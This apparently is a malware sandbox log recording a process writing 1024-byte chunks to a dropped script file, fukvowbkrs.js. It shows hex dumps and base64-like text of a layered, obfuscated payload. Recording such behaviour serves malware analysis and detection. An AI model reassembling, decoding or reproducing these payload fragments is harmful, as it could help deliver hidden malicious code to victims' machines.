6c 78 34 4e 45 46 63 
65 44 55 35 58 48 67 
31 4f 56 78 34 4e 7a 
52 63 65 44 55 32 58 
48 67 31 4e 56 78 34 
4e 45 56 63 65 44 4d 
79 58 48 

2MVx4NDhceDRBXHgzM
Fx4NENceDZEX
Hg0RVx4NzNceDU5XHg1
OFx4NEVceDm
BXHg1QVx4NUFceDQ0X
Hg0RVx4NTRce
DczXHg0QVx4M0VceDI1
XHg0MFx4NDZ
ceDQ5XHg1OFx4NTBceD
U1XHg0N1x4M
0VceDI1XHg0MFx4M0Vce
DI1XHg0MFx
4NEJceDM3XHg1M1x4ND
lceDJGXHgzM
lx4NEFceDU5XHg1OVx4N
zRceDU2XHg
1NVx4NEVceDMyXH
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 4e 56 78 34 4e 6b 
46 63 65 44 59 79 58 
48 67 30 4e 31 78 34 
4e 44 5a 63 65 44 6d 
42 58 48 67 32 4d 31 
78 34 4d 7a 52 63 65 
44 4d 78 58 48 67 31 
4e 46 78 34 4e 6a 46 
63 65 44 55 32 58 48 
67 30 52 46 78 34 4e 
54 52 63 65 44 55 78 
58 48 67 31 4d 6c 78 
34 4e 44 4a 63 65 44 
4d 35 58 48 67 33 4e 
31 78 34 4e 30 46 63 
65 44 55 34 58 48 67 
30 51 56 78 34 4e 7a 
4e 63 65 44 5a 44 58 
48 67 33 51 56 78 34 
4e 6a 68 63 65 44 4d 
35 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 31 
4f 56 78 34 4e 54 42 
63 65 44 4d 7a 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 31 4d 6c 78 
34 4e 6a 6c 63 65 44 
59 35 58 48 67 30 4d 
31 78 34 4e 6a 6d 63 
65 44 63 78 58 48 67 
31 4d 56 78 34 4e 6a 
52 63 65 44 55 78 58 
48 67 32 4e 31 78 34 
4e 6a 46 63 65 44 5a 
42 58 48 

zNVx4NkFceDYyXHg0N1x
4NDZceDmBX
Hg2M1x4MzRceDMxXHg1
NFx4NjFceDU
2XHg0RFx4NTRceDUxXH
g1Mlx4NDJce
DM5XHg3N1x4N0FceDU4
XHg0QVx4NzN
ceDZDXHg3QVx4NjhceD
M5XHgzRVx4M
jVceDQwXHg1OVx4NTBc
eDMzXHgzRVx
4MjVceDQwXHg1Mlx4Njlc
eDY5XHg0M
1x4NjmceDcxXHg1MVx4N
jRceDUxXHg
2N1x4NjFceDZBXH

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 63 65 44 51 31 58 
48 67 33 4f 56 78 34 
4e 6b 56 63 65 44 63 
77 58 48 67 30 52 6c 
78 34 4e 45 4e 63 65 
44 63 78 58 48 67 32 
4d 56 78 34 4e 54 4e 
63 65 44 63 77 58 48 
67 30 4d 31 78 34 4d 
6b 4a 63 65 44 63 34 
58 48 67 30 4d 6c 78 
34 4e 7a 4a 63 65 44 
59 35 58 48 67 32 4e 
46 78 34 4e 6b 4a 63 
65 44 56 42 58 48 67 
30 51 6c 78 34 4e 6b 
4e 63 65 44 59 33 58 
48 67 32 4e 6c 78 34 
4e 54 4a 63 65 44 55 
31 58 48 67 33 4f 56 
78 34 4e 6a 52 63 65 
44 59 35 58 48 67 30 
51 6c 78 34 4e 7a 6d 
63 65 44 63 7a 58 48 
67 7a 4d 46 78 34 4d 
7a 6d 63 65 44 52 47 
58 48 67 7a 4d 31 78 
34 4e 7a 4a 63 65 44 
51 30 58 48 67 79 51 
6c 78 34 4e 45 46 63 
65 44 5a 47 58 48 67 
7a 4e 46 78 34 4e 6a 
46 63 65 44 51 32 58 
48 67 7a 4d 46 78 34 
4d 7a 42 63 65 44 59 
78 58 48 67 79 51 6c 
78 34 4e 

NceDQ1XHg3OVx4NkVce
DcwXHg0Rlx4
NENceDcxXHg2MVx4NTN
ceDcwXHg0M1
x4MkJceDc4XHg0Mlx4Nz
JceDY5XHg2
NFx4NkJceDVBXHg0Qlx4
NkNceDY3XH
g2Nlx4NTJceDU1XHg3OV
x4NjRceDY5
XHg0Qlx4NzmceDczXHgz
MFx4MzmceD
RGXHgzM1x4NzJceDQ0X
HgyQlx4NEFc
eDZGXHgzNFx4NjFceDQ
2XHgzMFx4Mz
BceDYxXHgyQlx4N

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6d 63 65 44 52 42 58 
48 67 30 4d 6c 78 34 
4e 54 52 63 65 44 55 
33 58 48 67 32 4e 56 
78 34 4e 6a 4e 63 65 
44 55 35 58 48 67 7a 
4f 56 78 34 4e 45 4e 
63 65 44 4d 34 58 48 
67 33 4d 31 78 34 4e 
54 42 63 65 44 5a 44 
58 48 67 30 4e 6c 78 
34 4e 44 6d 63 65 44 
4d 30 58 48 67 33 4d 
6c 78 34 4e 54 42 63 
65 44 63 35 58 48 67 
32 4e 31 78 34 4e 6b 
52 63 65 44 55 32 58 
48 67 30 4d 31 78 34 
4e 7a 5a 63 65 44 59 
34 58 48 67 30 4f 56 
78 34 4e 30 46 63 65 
44 4d 35 58 48 67 33 
4d 6c 78 34 4e 54 68 
63 65 44 63 79 58 48 
67 7a 4e 6c 78 34 4e 
54 6d 63 65 44 5a 42 
58 48 67 32 4e 31 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 6a 56 63 
65 44 63 30 58 48 67 
30 51 56 78 34 4e 6a 
46 63 65 44 5a 42 58 
48 67 30 52 46 78 34 
4d 7a 68 63 65 44 59 
34 58 48 67 31 4e 31 
78 34 4d 

mceDRBXHg0Mlx4NTRce
DU3XHg2NVx4
NjNceDU5XHgzOVx4NEN
ceDM4XHg3M1
x4NTBceDZDXHg0Nlx4ND
mceDM0XHg3
Mlx4NTBceDc5XHg2N1x4
NkRceDU2XH
g0M1x4NzZceDY4XHg0O
Vx4N0FceDM5
XHg3Mlx4NThceDcyXHgz
Nlx4NTmceD
ZBXHg2N1x4M0VceDI1X
Hg0MFx4NjVc
eDc0XHg0QVx4NjFceDZB
XHg0RFx4Mz
hceDY4XHg1N1x4M

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4a 63 65 44 59 34 58 
48 67 31 4d 46 78 34 
4e 7a 52 63 65 44 59 
33 58 48 67 33 4f 46 
78 34 4e 6b 46 63 65 
44 5a 42 58 48 67 31 
4e 56 78 34 4d 7a 42 
63 65 44 63 30 58 48 
67 32 4e 31 78 34 4e 
30 46 63 65 44 6d 42 
58 48 67 79 51 6c 78 
34 4e 55 46 63 65 44 
4d 32 58 48 67 33 4f 
46 78 34 4e 7a 46 63 
65 44 51 34 58 48 67 
30 4d 6c 78 34 4e 54 
6c 63 65 44 4d 35 58 
48 67 32 4e 46 78 34 
4e 6b 4e 63 65 44 5a 
42 58 48 67 7a 4f 46 
78 34 4e 44 68 63 65 
44 55 34 58 48 67 30 
51 6c 78 34 4e 44 4a 
63 65 44 5a 45 58 48 
67 7a 4e 6c 78 34 4e 
45 4a 63 65 44 55 79 
58 48 67 33 4e 46 78 
34 4e 6a 46 63 65 44 
51 32 58 48 67 33 4d 
56 78 34 4e 7a 46 63 
65 44 51 79 58 48 67 
79 52 6c 78 34 4e 7a 
5a 63 65 44 55 34 58 
48 67 30 4d 6c 78 34 
4e 44 56 63 65 44 63 
35 58 48 67 79 52 6c 
78 34 4e 

JceDY4XHg1MFx4NzRce
DY3XHg3OFx4
NkFceDZBXHg1NVx4MzB
ceDc0XHg2N1
x4N0FceDmBXHgyQlx4N
UFceDM2XHg3
OFx4NzFceDQ4XHg0Mlx4
NTlceDM5XH
g2NFx4NkNceDZBXHgzO
Fx4NDhceDU4
XHg0Qlx4NDJceDZEXHgz
Nlx4NEJceD
UyXHg3NFx4NjFceDQ2X
Hg3MVx4NzFc
eDQyXHgyRlx4NzZceDU4
XHg0Mlx4ND
VceDc5XHgyRlx4N
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C:\Users\user\fukvowbkrs.js unknown 154 5a 63 65 44 55 32 58 
48 67 33 4e 6c 78 34 
4d 7a 46 63 65 44 6d 
42 58 48 67 7a 4e 46 
78 34 4e 44 6d 63 65 
44 51 79 58 48 67 32 
4e 31 78 34 4e 55 46 
63 65 44 51 30 58 48 
67 30 4d 6c 78 34 4e 
6b 4a 63 65 44 4d 31 
58 48 67 7a 4d 6c 78 
34 4e 44 4a 63 65 44 
5a 42 58 48 67 31 51 
56 78 34 4d 7a 4a 63 
65 44 51 79 58 48 67 
32 52 56 78 34 4e 55 
46 63 65 44 4d 79 58 
48 67 30 4d 6c 78 34 
4e 6a 6d 63 65 44 4d 
31 58 48 67 30 4e 31 
78 34 4e 6a 68 63 65 
44 59 33 58 48 67 31 

ZceDU2XHg3Nlx4MzFceD
mBXHgzNFx4
NDmceDQyXHg2N1x4NU
FceDQ0XHg0Ml
x4NkJceDM1XHgzMlx4ND
JceDZBXHg1
QVx4MzJceDQyXHg2RVx
4NUFceDMyXH
g0Mlx4NjmceDM1XHg0N1
x4NjhceDY3XHg1

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4f 56 78 34 4e 45 56 
63 65 44 5a 46 58 48 
67 79 51 6c 78 34 4e 
54 52 63 65 44 4d 34 
58 48 67 31 4f 46 78 
34 4e 54 42 63 65 44 
4d 7a 58 48 67 32 4f 
56 78 34 4d 7a 42 63 
65 44 5a 42 58 48 67 
33 51 56 78 34 4d 7a 
6c 63 65 44 63 79 58 
48 67 30 51 31 78 34 
4e 7a 68 63 65 44 51 
31 58 48 67 79 52 6c 
78 34 4e 54 6c 63 65 
44 52 43 58 48 67 32 
4d 31 78 34 4e 7a 68 
63 65 44 52 42 58 48 
67 30 51 6c 78 34 4d 
7a 42 63 65 44 4a 47 
58 48 67 30 51 6c 78 
34 4e 45 46 63 65 44 
59 7a 58 48 67 79 52 
6c 78 34 4e 6a 5a 63 
65 44 52 44 58 48 67 
30 52 46 78 34 4e 54 
42 63 65 44 51 33 58 
48 67 30 52 46 78 34 
4e 6b 46 63 65 44 4a 
47 58 48 67 32 4e 6c 
78 34 4e 44 52 63 65 
44 52 45 58 48 67 31 
4d 46 78 34 4e 45 46 
63 65 44 59 32 58 48 
67 31 4e 56 78 34 4e 
45 56 63 65 44 51 79 
58 48 67 

OVx4NEVceDZFXHgyQlx
4NTRceDM4XH
g1OFx4NTBceDMzXHg2O
Vx4MzBceDZB
XHg3QVx4MzlceDcyXHg0
Q1x4NzhceD
Q1XHgyRlx4NTlceDRCXH
g2M1x4Nzhc
eDRBXHg0Qlx4MzBceDJ
GXHg0Qlx4NE
FceDYzXHgyRlx4NjZceD
RDXHg0RFx4
NTBceDQ3XHg0RFx4NkF
ceDJGXHg2Nl
x4NDRceDREXHg1MFx4N
EFceDY2XHg1
NVx4NEVceDQyXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 4d 46 78 34 4e 7a 52 
63 65 44 55 34 58 48 
67 32 52 6c 78 34 4d 
7a 4a 63 65 44 55 33 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 79 52 6c 
78 34 4e 6a 6d 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
51 32 58 48 67 30 4d 
6c 78 34 4e 45 4e 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 63 33 58 
48 67 31 4d 56 78 34 
4e 54 56 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 59 33 58 48 
67 30 4f 56 78 34 4e 
44 4e 63 65 44 4e 46 
58 48 67 

MFx4NzRceDU4XHg2Rlx4
MzJceDU3XH
gzRVx4MjVceDQwXHgzR
Vx4MjVceDQw
XHgzRVx4MjVceDQwXHg
zRVx4MjVceD
QwXHgyRlx4NjmceDNFX
HgyNVx4NDBc
eDNFXHgyNVx4NDBceDN
FXHgyNVx4ND
BceDQ2XHg0Mlx4NENce
DNFXHgyNVx4
NDBceDc3XHg1MVx4NTV
ceDNFXHgyNV
x4NDBceDNFXHgyNVx4N
DBceDY3XHg0
OVx4NDNceDNFXHg

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 56 78 34 4e 6b 5a 
63 65 44 51 32 58 48 
67 33 4e 46 78 34 4d 
7a 42 63 65 44 55 33 
58 48 67 30 4e 46 78 
34 4e 7a 4e 63 65 44 
5a 42 58 48 67 30 51 
56 78 34 4d 7a 46 63 
65 44 59 33 58 48 67 
32 51 56 78 34 4e 7a 
6c 63 65 44 4d 32 58 
48 67 31 4e 31 78 34 
4e 55 46 63 65 44 52 
47 58 48 67 31 4d 31 
78 34 4e 54 4a 63 65 
44 5a 43 58 48 67 31 
4e 56 78 34 4e 6a 4a 
63 65 44 55 31 58 48 
67 30 4e 6c 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 6b 5a 63 65 44 
63 77 58 48 67 32 4e 
46 78 34 4e 6a 52 63 
65 44 63 7a 58 48 67 
7a 4d 46 78 34 4e 6a 
46 63 65 44 59 30 58 
48 67 33 4d 56 78 34 
4e 6b 52 63 65 44 4d 
78 58 48 67 7a 4d 46 
78 34 4e 44 52 63 65 
44 55 30 58 48 67 31 
4d 56 78 34 4e 6b 4e 
63 65 44 4d 79 58 48 
67 30 51 6c 78 34 4e 
6a 56 63 65 44 59 35 
58 48 67 

NVx4NkZceDQ2XHg3NFx
4MzBceDU3XH
g0NFx4NzNceDZBXHg0Q
Vx4MzFceDY3
XHg2QVx4NzlceDM2XHg
1N1x4NUFceD
RGXHg1M1x4NTJceDZCX
Hg1NVx4NjJc
eDU1XHg0Nlx4M0VceDI1
XHg0MFx4Nk
ZceDcwXHg2NFx4NjRceD
czXHgzMFx4
NjFceDY0XHg3MVx4NkR
ceDMxXHgzMF
x4NDRceDU0XHg1MVx4N
kNceDMyXHg0
Qlx4NjVceDY5XHg
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C:\Users\user\fukvowbkrs.js unknown 1024 51 6c 78 34 4e 45 46 
63 65 44 51 33 58 48 
67 30 4f 56 78 34 4e 
54 52 63 65 44 4d 77 
58 48 67 31 4e 46 78 
34 4d 7a 68 63 65 44 
55 33 58 48 67 30 52 
46 78 34 4e 54 4a 63 
65 44 55 77 58 48 67 
31 4d 6c 78 34 4e 45 
56 63 65 44 63 35 58 
48 67 31 4d 6c 78 34 
4e 7a 4e 63 65 44 55 
79 58 48 67 32 4e 6c 
78 34 4e 54 52 63 65 
44 52 45 58 48 67 32 
51 31 78 34 4e 7a 4a 
63 65 44 63 34 58 48 
67 32 51 31 78 34 4e 
6a 6d 63 65 44 63 33 
58 48 67 31 4d 46 78 
34 4e 54 6d 63 65 44 
4d 33 58 48 67 31 4e 
6c 78 34 4e 6a 68 63 
65 44 59 35 58 48 67 
32 52 6c 78 34 4e 44 
56 63 65 44 63 78 58 
48 67 31 4f 56 78 34 
4e 7a 68 63 65 44 4d 
35 58 48 67 30 4e 31 
78 34 4e 44 6d 63 65 
44 52 42 58 48 67 33 
4f 46 78 34 4e 6b 52 
63 65 44 59 7a 58 48 
67 30 4f 56 78 34 4e 
6a 4a 63 65 44 51 79 
58 48 67 

Qlx4NEFceDQ3XHg0OVx
4NTRceDMwXH
g1NFx4MzhceDU3XHg0R
Fx4NTJceDUw
XHg1Mlx4NEVceDc5XHg1
Mlx4NzNceD
UyXHg2Nlx4NTRceDREX
Hg2Q1x4NzJc
eDc4XHg2Q1x4NjmceDc3
XHg1MFx4NT
mceDM3XHg1Nlx4NjhceD
Y5XHg2Rlx4
NDVceDcxXHg1OVx4Nzh
ceDM5XHg0N1
x4NDmceDRBXHg3OFx4
NkRceDYzXHg0
OVx4NjJceDQyXHg

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 46 78 34 4e 7a 6d 
63 65 44 55 79 58 48 
67 32 4d 31 78 34 4e 
44 68 63 65 44 4d 7a 
58 48 67 31 4e 56 78 
34 4e 54 5a 63 65 44 
52 44 58 48 67 33 4e 
31 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4d 7a 
46 63 65 44 63 34 58 
48 67 31 4e 56 78 34 
4e 6a 4e 63 65 44 51 
79 58 48 67 32 4d 31 
78 34 4e 55 46 63 65 
44 51 79 58 48 67 32 
51 31 78 34 4e 6b 4a 
63 65 44 51 32 58 48 
67 31 4d 46 78 34 4d 
7a 68 63 65 44 55 33 
58 48 67 32 4f 56 78 
34 4e 6a 6d 63 65 44 
5a 44 58 48 67 31 4e 
31 78 34 4e 6b 52 63 
65 44 55 34 58 48 67 
32 4d 31 78 34 4e 54 
5a 63 65 44 4d 78 58 
48 67 30 4d 6c 78 34 
4e 54 52 63 65 44 4a 
47 58 48 67 30 4e 46 
78 34 4e 7a 56 63 65 
44 63 33 58 48 67 33 
4d 6c 78 34 4e 7a 56 
63 65 44 4d 30 58 48 
67 31 4f 56 78 34 4e 
6a 46 63 65 44 51 7a 
58 48 67 

NFx4NzmceDUyXHg2M1x
4NDhceDMzXH
g1NVx4NTZceDRDXHg3N
1x4M0VceDI1
XHg0MFx4MzFceDc4XHg
1NVx4NjNceD
QyXHg2M1x4NUFceDQyX
Hg2Q1x4NkJc
eDQ2XHg1MFx4MzhceDU
3XHg2OVx4Nj
mceDZDXHg1N1x4NkRce
DU4XHg2M1x4
NTZceDMxXHg0Mlx4NTR
ceDJGXHg0NF
x4NzVceDc3XHg3Mlx4Nz
VceDM0XHg1
OVx4NjFceDQzXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 52 46 78 34 4e 7a 6d 
63 65 44 55 77 58 48 
67 33 4e 6c 78 34 4d 
7a 6d 63 65 44 4d 30 
58 48 67 33 4d 56 78 
34 4e 55 46 63 65 44 
59 31 58 48 67 30 51 
56 78 34 4e 7a 42 63 
65 44 51 30 58 48 67 
33 4d 56 78 34 4d 7a 
6d 63 65 44 4d 35 58 
48 67 33 4d 6c 78 34 
4e 6a 52 63 65 44 51 
31 58 48 67 30 4e 31 
78 34 4d 7a 6d 63 65 
44 63 79 58 48 67 31 
4d 46 78 34 4e 54 68 
63 65 44 5a 43 58 48 
67 30 52 56 78 34 4e 
54 52 63 65 44 4d 7a 
58 48 67 31 4e 46 78 
34 4e 6a 4e 63 65 44 
4d 34 58 48 67 7a 4e 
46 78 34 4e 6b 5a 63 
65 44 4d 31 58 48 67 
33 4e 6c 78 34 4e 54 
52 63 65 44 52 45 58 
48 67 32 52 6c 78 34 
4e 45 4a 63 65 44 5a 
45 58 48 67 32 4d 31 
78 34 4e 45 56 63 65 
44 51 34 58 48 67 30 
4e 31 78 34 4e 6a 46 
63 65 44 5a 42 58 48 
67 31 4d 46 78 34 4e 
7a 56 63 65 44 4d 33 
58 48 67 

RFx4NzmceDUwXHg3Nlx
4MzmceDM0XH
g3MVx4NUFceDY1XHg0Q
Vx4NzBceDQ0
XHg3MVx4MzmceDM5XH
g3Mlx4NjRceD
Q1XHg0N1x4MzmceDcyX
Hg1MFx4NThc
eDZCXHg0RVx4NTRceD
MzXHg1NFx4Nj
NceDM4XHgzNFx4NkZce
DM1XHg3Nlx4
NTRceDREXHg2Rlx4NEJ
ceDZEXHg2M1
x4NEVceDQ4XHg0N1x4Nj
FceDZBXHg1
MFx4NzVceDM3XHg

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 6c 78 34 4e 6a 46 
63 65 44 55 79 58 48 
67 32 4f 46 78 34 4e 
6b 52 63 65 44 63 30 
58 48 67 7a 4f 46 78 
34 4e 6b 4e 63 65 44 
59 79 58 48 67 7a 4d 
6c 78 34 4e 54 4a 63 
65 44 55 77 58 48 67 
7a 4e 56 78 34 4d 7a 
4e 63 65 44 4d 79 58 
48 67 33 4e 31 78 34 
4e 6b 52 63 65 44 59 
79 58 48 67 33 4f 56 
78 34 4e 55 46 63 65 
44 4d 30 58 48 67 32 
4e 46 78 34 4e 44 4a 
63 65 44 55 30 58 48 
67 30 4e 56 78 34 4e 
6a 4a 63 65 44 59 32 
58 48 67 30 51 31 78 
34 4d 7a 46 63 65 44 
4d 35 58 48 67 31 4e 
46 78 34 4e 6a 68 63 
65 44 52 42 58 48 67 
30 4e 46 78 34 4e 7a 
56 63 65 44 63 34 58 
48 67 30 51 56 78 34 
4e 7a 5a 63 65 44 52 
43 58 48 67 31 51 56 
78 34 4e 55 46 63 65 
44 59 34 58 48 67 7a 
4e 31 78 34 4e 6a 4a 
63 65 44 5a 45 58 48 
67 32 51 56 78 34 4e 
44 4a 63 65 44 5a 42 
58 48 67 

Nlx4NjFceDUyXHg2OFx4
NkRceDc0XH
gzOFx4NkNceDYyXHgzMl
x4NTJceDUw
XHgzNVx4MzNceDMyXHg
3N1x4NkRceD
YyXHg3OVx4NUFceDM0
XHg2NFx4NDJc
eDU0XHg0NVx4NjJceDY2
XHg0Q1x4Mz
FceDM5XHg1NFx4NjhceD
RBXHg0NFx4
NzVceDc4XHg0QVx4NzZ
ceDRCXHg1QV
x4NUFceDY4XHgzN1x4Nj
JceDZEXHg2
QVx4NDJceDZBXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 4d 56 78 34 4e 6b 4e 
63 65 44 51 35 58 48 
67 33 51 56 78 34 4e 
7a 6c 63 65 44 51 35 
58 48 67 30 52 56 78 
34 4e 45 56 63 65 44 
55 33 58 48 67 7a 4d 
56 78 34 4e 7a 42 63 
65 44 52 43 58 48 67 
7a 4e 6c 78 34 4e 7a 
6c 63 65 44 5a 43 58 
48 67 30 52 6c 78 34 
4e 54 5a 63 65 44 63 
78 58 48 67 7a 4d 56 
78 34 4e 54 6c 63 65 
44 4d 78 58 48 67 30 
51 6c 78 34 4d 7a 56 
63 65 44 63 33 58 48 
67 32 4d 31 78 34 4e 
44 4e 63 65 44 59 78 
58 48 67 7a 4d 56 78 
34 4d 7a 52 63 65 44 
63 78 58 48 67 32 4f 
56 78 34 4d 7a 4a 63 
65 44 5a 45 58 48 67 
30 4d 31 78 34 4e 6b 
46 63 65 44 4d 77 58 
48 67 7a 4e 6c 78 34 
4e 45 52 63 65 44 5a 
45 58 48 67 30 4e 56 
78 34 4e 6b 56 63 65 
44 63 77 58 48 67 33 
4d 6c 78 34 4e 54 42 
63 65 44 59 7a 58 48 
67 30 4f 46 78 34 4e 
44 4a 63 65 44 63 32 
58 48 67 

MVx4NkNceDQ5XHg3QV
x4NzlceDQ5XH
g0RVx4NEVceDU3XHgzM
Vx4NzBceDRC
XHgzNlx4NzlceDZCXHg0
Rlx4NTZceD
cxXHgzMVx4NTlceDMxX
Hg0Qlx4MzVc
eDc3XHg2M1x4NDNceDY
xXHgzMVx4Mz
RceDcxXHg2OVx4MzJce
DZEXHg0M1x4
NkFceDMwXHgzNlx4NER
ceDZEXHg0NV
x4NkVceDcwXHg3Mlx4NT
BceDYzXHg0
OFx4NDJceDc2XHg

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 6c 78 34 4e 44 56 
63 65 44 6d 42 58 48 
67 31 4d 31 78 34 4d 
7a 4a 63 65 44 59 35 
58 48 67 30 51 6c 78 
34 4e 44 68 63 65 44 
63 32 58 48 67 32 4e 
46 78 34 4e 7a 5a 63 
65 44 51 34 58 48 67 
7a 4f 56 78 34 4e 45 
56 63 65 44 63 77 58 
48 67 33 4f 56 78 34 
4e 45 52 63 65 44 63 
79 58 48 67 7a 4d 56 
78 34 4e 6b 4a 63 65 
44 4d 31 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 32 52 6c 78 34 4d 
7a 5a 63 65 44 55 79 
58 48 67 32 4d 6c 78 
34 4e 7a 6d 63 65 44 
63 30 58 48 67 32 51 
56 78 34 4e 6a 56 63 
65 44 5a 44 58 48 67 
30 4e 31 78 34 4e 45 
5a 63 65 44 63 77 58 
48 67 30 52 46 78 34 
4e 7a 56 63 65 44 55 
31 58 48 67 32 52 46 
78 34 4e 45 4e 63 65 
44 4a 47 58 48 67 7a 
4d 31 78 34 4d 7a 56 
63 65 44 63 31 58 48 
67 7a 4e 31 78 34 4e 
54 4a 63 65 44 52 44 
58 48 67 

Nlx4NDVceDmBXHg1M1x
4MzJceDY5XH
g0Qlx4NDhceDc2XHg2NF
x4NzZceDQ4
XHgzOVx4NEVceDcwXHg
3OVx4NERceD
cyXHgzMVx4NkJceDM1X
HgzRVx4MjVc
eDQwXHg2Rlx4MzZceDU
yXHg2Mlx4Nz
mceDc0XHg2QVx4NjVce
DZDXHg0N1x4
NEZceDcwXHg0RFx4NzV
ceDU1XHg2RF
x4NENceDJGXHgzM1x4M
zVceDc1XHgz
N1x4NTJceDRDXHg
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C:\Users\user\fukvowbkrs.js unknown 1024 52 6c 78 34 4e 54 56 
63 65 44 5a 44 58 48 
67 32 4d 6c 78 34 4e 
7a 68 63 65 44 55 33 
58 48 67 33 4d 6c 78 
34 4d 7a 68 63 65 44 
55 30 58 48 67 31 4e 
46 78 34 4e 7a 56 63 
65 44 5a 47 58 48 67 
33 4d 56 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4e 44 6d 63 65 44 63 
79 58 48 67 30 4e 6c 
78 34 4e 6a 4a 63 65 
44 4d 33 58 48 67 32 
52 46 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
7a 5a 63 65 44 55 7a 
58 48 67 31 4e 56 78 
34 4e 54 4e 63 65 44 
55 7a 58 48 67 32 4e 
56 78 34 4e 6a 56 63 
65 44 63 34 58 48 67 
31 4e 6c 78 34 4e 44 
68 63 65 44 52 42 58 
48 67 33 4e 56 78 34 
4e 7a 46 63 65 44 59 
79 58 48 67 31 4d 46 
78 34 4d 7a 6d 63 65 
44 51 30 58 48 67 30 
51 6c 78 34 4d 7a 46 
63 65 44 55 35 58 48 
67 33 4f 46 78 34 4e 
54 52 63 65 44 51 31 
58 48 67 

Rlx4NTVceDZDXHg2Mlx4
NzhceDU3XH
g3Mlx4MzhceDU0XHg1NF
x4NzVceDZG
XHg3MVx4M0VceDI1XHg
0MFx4NDmceD
cyXHg0Nlx4NjJceDM3XH
g2RFx4M0Vc
eDI1XHg0MFx4NzZceDUz
XHg1NVx4NT
NceDUzXHg2NVx4NjVceD
c4XHg1Nlx4
NDhceDRBXHg3NVx4NzF
ceDYyXHg1MF
x4MzmceDQ0XHg0Qlx4M
zFceDU5XHg3
OFx4NTRceDQ1XHg

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4e 31 78 34 4e 45 4a 
63 65 44 59 35 58 48 
67 33 4e 46 78 34 4e 
6a 4a 63 65 44 63 78 
58 48 67 33 4f 56 78 
34 4e 6a 6c 63 65 44 
59 31 58 48 67 7a 4f 
46 78 34 4e 7a 56 63 
65 44 52 42 58 48 67 
33 4d 31 78 34 4e 7a 
56 63 65 44 4d 79 58 
48 67 32 51 6c 78 34 
4e 6a 68 63 65 44 55 
30 58 48 67 32 51 31 
78 34 4e 55 46 63 65 
44 59 78 58 48 67 32 
4e 56 78 34 4e 44 68 
63 65 44 63 78 58 48 
67 32 4e 6c 78 34 4e 
7a 42 63 65 44 55 30 
58 48 67 30 51 6c 78 
34 4d 7a 56 63 65 44 
63 77 58 48 67 79 51 
6c 78 34 4e 44 5a 63 
65 44 59 35 58 48 67 
30 52 6c 78 34 4e 54 
4a 63 65 44 63 77 58 
48 67 32 4f 56 78 34 
4e 54 52 63 65 44 59 
33 58 48 67 33 4d 56 
78 34 4e 54 6d 63 65 
44 55 77 58 48 67 30 
52 56 78 34 4e 44 6c 
63 65 44 63 33 58 48 
67 32 51 31 78 34 4d 
7a 4e 63 65 44 4d 34 
58 48 67 

N1x4NEJceDY5XHg3NFx
4NjJceDcxXH
g3OVx4NjlceDY1XHgzOF
x4NzVceDRB
XHg3M1x4NzVceDMyXHg
2Qlx4NjhceD
U0XHg2Q1x4NUFceDYxX
Hg2NVx4NDhc
eDcxXHg2Nlx4NzBceDU0
XHg0Qlx4Mz
VceDcwXHgyQlx4NDZceD
Y5XHg0Rlx4
NTJceDcwXHg2OVx4NTR
ceDY3XHg3MV
x4NTmceDUwXHg0RVx4N
DlceDc3XHg2
Q1x4MzNceDM4XHg
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C:\Users\user\fukvowbkrs.js unknown 1024 52 6c 78 34 4e 7a 46 
63 65 44 55 32 58 48 
67 7a 4d 56 78 34 4e 
54 6d 63 65 44 59 31 
58 48 67 31 4e 31 78 
34 4e 6a 52 63 65 44 
4d 78 58 48 67 79 51 
6c 78 34 4e 45 5a 63 
65 44 63 78 58 48 67 
7a 4e 46 78 34 4e 44 
56 63 65 44 6d 42 58 
48 67 30 4e 6c 78 34 
4e 54 5a 63 65 44 59 
78 58 48 67 33 4e 56 
78 34 4e 30 46 63 65 
44 51 33 58 48 67 30 
4e 6c 78 34 4e 6a 52 
63 65 44 63 30 58 48 
67 31 4e 46 78 34 4e 
6a 6c 63 65 44 4d 79 
58 48 67 33 4e 56 78 
34 4e 6a 6c 63 65 44 
63 7a 58 48 67 7a 4e 
31 78 34 4e 54 68 63 
65 44 4d 30 58 48 67 
7a 4e 6c 78 34 4e 7a 
4a 63 65 44 5a 43 58 
48 67 30 51 31 78 34 
4e 45 52 63 65 44 55 
